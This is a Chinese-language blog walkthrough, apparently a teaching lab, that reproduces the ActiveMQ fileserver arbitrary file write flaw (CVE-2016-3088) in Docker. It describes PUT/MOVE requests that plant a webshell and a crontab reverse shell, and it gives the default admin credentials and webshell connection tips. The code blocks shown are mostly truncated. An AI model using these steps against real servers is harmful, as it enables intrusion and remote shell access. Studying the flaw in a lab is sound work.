ActiveMQ 任意文件写入漏洞(CVE-2016-3088)
- 现在打靶都是 Docker 了,老人家也与时俱进一下,正好可以上课和学生演示使用,适当挖坑QAQ。
漏洞说明
ActiveMQ 的 Web 控制台分三个应用:
- admin:管理员页面、需要登录
- api:数据接口、需要登录
- fileserver:储存文件的接口、无需登录
fileserver 是一个 RESTful API 接口,我们可以通过 GET、PUT、DELETE 等 HTTP 请求对其中存储的文件进行读写操作,其设计目的是为了弥补消息队列操作不能传输、存储二进制文件的缺陷,但后来发现:
- 其使用率并不高
- 文件操作容易出现漏洞
所以 ActiveMQ 在 5.12.x~5.13.x 版本中,已经默认关闭了 fileserver 这个应用(你可以在 conf/jetty.xml 中开启之),在5.14.0版本以后,彻底删除了 fileserver 应用。
在测试过程中,可以关注 ActiveMQ 的版本,避免走弯路。
本漏洞出现在 fileserver 应用中,漏洞原理其实非常简单,就是 fileserver 支持写入文件(但不解析 jsp),同时支持移动文件(MOVE 请求)。
所以,我们只需要写入一个文件,然后使用 MOVE 请求将其移动到任意位置,造成任意文件写入漏洞。
文件写入有几种利用方法:
- 写入 webshell
- 写入 cron 或 ssh key 等文件
- 写入 jar 或 jetty.xml 等库和配置文件
写入 webshell 的好处是:门槛低、更方便。但前面也说了 fileserver 不解析 jsp,admin 和 api 两个应用都需要登录才能访问(结合弱口令),所以有点鸡肋;
写入 cron 或 ssh key,好处是直接反弹拿 shell,也比较方便,缺点是需要 root 权限;
写入 jar 稍微麻烦点(需要 jar 的后门),写入 xml 配置文件,这个方法比较靠谱,但有个鸡肋点是:我们需要知道 activemq 的绝对路径。
漏洞环境
- 运行漏洞环境:
1 | cd activemq/CVE-2016-3088 |
- 环境运行后,将监听 61616 和 8161 两个端口。
- 61616:工作端口,消息在这个端口进行传递;
- 8161:Web 管理页面端口(默认账密:
admin/admin
)。
- 访问
http://your-ip:8161
即可看到 Web 管理页面:
漏洞复现
WebShell 写入
- 之前说明了,写入 Webshell 需要写在 admin 或 api 应用中,而这俩应用都需要登录才能访问。
- 默认的 ActiveMQ 账号密码均为 admin,首先访问
http://your-ip:8161/admin/test/systemProperties.jsp
查看 ActiveMQ 的绝对路径:
- 看到绝对路径为:
/opt/activemq
,访问/fileserver/xxx
使用 PUT 请求写入WebShell.txt
。
1 | URL:http://192.168.1.151:8161/fileserver/shell.txt |
- 返回 204 表示写入成功~,以防万一进入 docker 里看看:
1 | docker exec -it cve-2016-3088-activemq-1 /bin/bash |
- 写入成功,但因为 fileserver 应用中无法解析 jsp 文件,所以需要使用 MOVE 请求移动 shell.txt 到 api 应用中:
1 | 根据刚才的文件查看,得到目录是 /opt/activemq,可以猜测 api 的目录是 /opt/activemq/webapps/api |
- 尝试访问一下:
- 成功写入~,但是这里有个坑点,如果你写入的是冰蝎的木马,在连接时会出现报错:
- 这里就非常非常坑爹了,经过漫长的查证,发现 HTTP Request 中有一个字段用于校验:
- 在 PUT 上传文件时遇见了,同样访问文件/连接木马也需要加上该字段,在冰蝎中添加:
- 这样即可成功连接!
计划任务反弹 Shell
- crontab 命令常见于 Unix 和类 Unix 的操作系统之中,用于设置周期性被执行的指令。
- 该命令从标准输入设备读取指令,并将其存放于 crontab 文件中,以供之后读取和执行。
- crontab 储存的指令被守护进程激活,crontab 常常在后台运行,每一分钟检查是否有预定的作业需要执行,这类作业一般称为 cron jobs。
- 使用 PUT 请求写入 crontab,
$i=攻击机IP
:
1 | PUT /fileserver/cron.txt HTTP/1.1 |
- 写入成功,使用 MOVE 请求把 cron.txt 移动到 /etc/cron.d/root:
1 | MOVE /fileserver/cron.txt HTTP/1.1 |
- 开启监听后,半天没反应,我发现 WP 那有个提示:
1 | 换行一定要 \n,不能是 \r\n,否则 crontab 执行会失败。 |
- emm,哪的换行,根据这个思路,找到了:
- 藏的真深,修改后重新监听:
- 反弹成功!
写入 jetty.xml 或 jar
- 理论上我们可以覆盖 jetty.xml,将 admin 和 api 的登录限制去掉,然后再写入 Webshell。
- 有的情况下,jetty.xml 和 jar 的所有人是 Web 容器的用户,所以相比起来,写入 crontab 成功率更高一点。
- 复现作者尚未测试,那我也不弄了(
真不是不会,也没地方抄)。
本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 Yongz丶!